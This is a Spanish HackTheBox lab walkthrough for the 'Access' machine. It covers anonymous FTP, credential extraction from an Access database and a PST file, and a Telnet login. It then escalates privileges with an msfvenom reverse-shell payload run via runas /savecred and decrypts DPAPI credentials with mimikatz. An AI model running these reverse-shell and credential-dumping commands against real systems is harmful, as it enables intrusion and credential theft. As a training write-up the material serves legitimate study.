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# Guía de Access HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Access>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración FTP
* Extracción de base de datos de Microsoft Access
* Análisis de PST, credenciales almacenadas de Windows
* DPAPI.
  {% endhint %}

## Reconocimiento

Crea un espacio de trabajo y confirma que el objetivo es accesible.

{% code overflow="wrap" %}

```bash
mkdir Access
cd !$

ping -c 1 10.129.6.20
settarget Access 10.129.6.20
```

{% endcode %}

El objetivo es un host de Windows.

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Ejecuta un escaneo completo de puertos TCP.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts
```

{% endcode %}

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El escaneo identifica FTP, Telnet y HTTP en los puertos `21`, `23`, y `80`. Enumera sus versiones de servicio.

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,23,80 10.129.6.20 -oN targeted
```

{% endcode %}

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El acceso FTP anónimo está habilitado.

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.6.20
```

{% endcode %}

El servidor FTP contiene los `Backups` y `Engineer` directorios.

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Descargar `backup.mdb` de `Backups` en modo binario. Descarga `Access Control.zip` de `Engineer`.

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Lista las tablas en la base de datos de Microsoft Access.

{% code overflow="wrap" %}

```bash
mdb-tables backup.mdb
```

{% endcode %}

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Exporta cada tabla a CSV para revisarla.

{% code overflow="wrap" %}

```bash
for table in $(mdb-tables backup.mdb); do
    mdb-export backup.mdb "$table" > "$table.csv"
done
```

{% endcode %}

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El `auth_user.csv` la exportación contiene credenciales.

{% code overflow="wrap" %}

```bash
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

{% endcode %}

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Usa el `engineer` contraseña para extraer el archivo.

{% code overflow="wrap" %}

```bash
7z x Access\ Control.zip

access4u@security
```

{% endcode %}

El archivo contiene un archivo PST de Outlook.

> Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

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Extrae los mensajes del PST.

{% code overflow="wrap" %}

```bash
readpst -cv -e -o output Access\ Control.pst
```

{% endcode %}

Esto crea un `.eml` mensaje.

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El correo revela la `security` contraseña de la cuenta.

{% code overflow="wrap" %}

```bash
Hola,

La contraseña de la cuenta “security” se ha cambiado a 4Cc3ssC0ntr0ller.  Asegúrate de transmitir esto a tus ingenieros.

Saludos,

John
```

{% endcode %}

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Inicia sesión en Telnet como `security`.

{% code overflow="wrap" %}

```bash
telnet 10.129.6.20 23
```

{% endcode %}

* security
* 4Cc3ssC0ntr0ller

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Recupera `user.txt`.

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### Escalada de privilegios con credenciales almacenadas

Enumera las credenciales almacenadas por Windows.

{% code overflow="wrap" %}

```bash
cmdkey /list
```

{% endcode %}

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Las credenciales almacenadas `ACCESS\Administrator` pueden ejecutar un proceso con `runas /savecred`. Crea un payload de shell inversa.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe
```

{% endcode %}

Transferir `nikos.exe` al objetivo. Luego inicia un listener en el puerto `1234`.

{% code overflow="wrap" %}

```bash
nc -nlvp 1234
```

{% endcode %}

Ejecuta el payload como `ACCESS\Administrator`.

{% code overflow="wrap" %}

```bash
runas /savecred /user:ACCESS\Administrator "nikos.exe"
```

{% endcode %}

La shell de retorno se ejecuta como Administrator.

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Recupera `root.txt`.

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### Recuperación de la credencial de administrador guardada

La credencial guardada está protegida con DPAPI. Recupera su secreto del `security` perfil.

#### Localiza los blobs de credenciales

Los blobs están en el `security` perfil. Usa `/a` porque los archivos están ocultos.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials
```

{% endcode %}

* `0F16D9D2A97B325E559235F507B7AB01`
* `51AB168BE4BDB3A603DADE4F8CA81290`

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El blob correcto es `51AB168BE4BDB3A603DADE4F8CA81290`. Su `08/22/2018` marca de tiempo coincide con el Escritorio público `.lnk` archivo. El otro blob fue creado durante la evaluación.

#### Identifica el GUID de la clave maestra

Inspecciona el blob para identificar la clave maestra DPAPI requerida.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit"
```

{% endcode %}

Anota el GUID de la clave maestra.

* guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

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#### Comprueba LSASS en busca de la clave maestra

Vuelca las claves maestras DPAPI cargadas en LSASS.

{% code overflow="wrap" %}

```bash
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

{% endcode %}

El GUID requerido `{0792c32e-...}` está ausente. Esto ocurre porque:

* La clave maestra pertenece a la `security` perfil.
* La sesión actual se ejecuta como `Administrador`.
* El `security` la clave maestra no está cargada en este contexto.

El volcado solo contiene claves maestras para `Administrador` y `ACCESS$`.

```
GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997}   → Administrator
GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d}   → ACCESS$
```

#### Descifra la clave maestra desde el disco

Descifra la clave maestra directamente desde el disco. Usa el conocido `security` contraseña.

Primero, localiza el archivo de la clave maestra.

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001
```

{% endcode %}

{% hint style="info" %}
El `security` El SID termina en `-1001`. El SID del Administrador termina en `-500`.
{% endhint %}

Descifra la clave maestra con Mimikatz.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"
```

{% endcode %}

El SHA-1 de la clave maestra es `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F52j5JHIQby1fLXuxNZgd%2Fimage.png?alt=media&amp;token=91396364-6d7f-47c9-a195-a0a33472b1ef" alt=""><figcaption></figcaption></figure>

#### Descifra el blob de credenciales

Usa el SHA-1 de la clave maestra para descifrar el blob de credenciales y recuperar la contraseña guardada.

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit"
```

{% endcode %}

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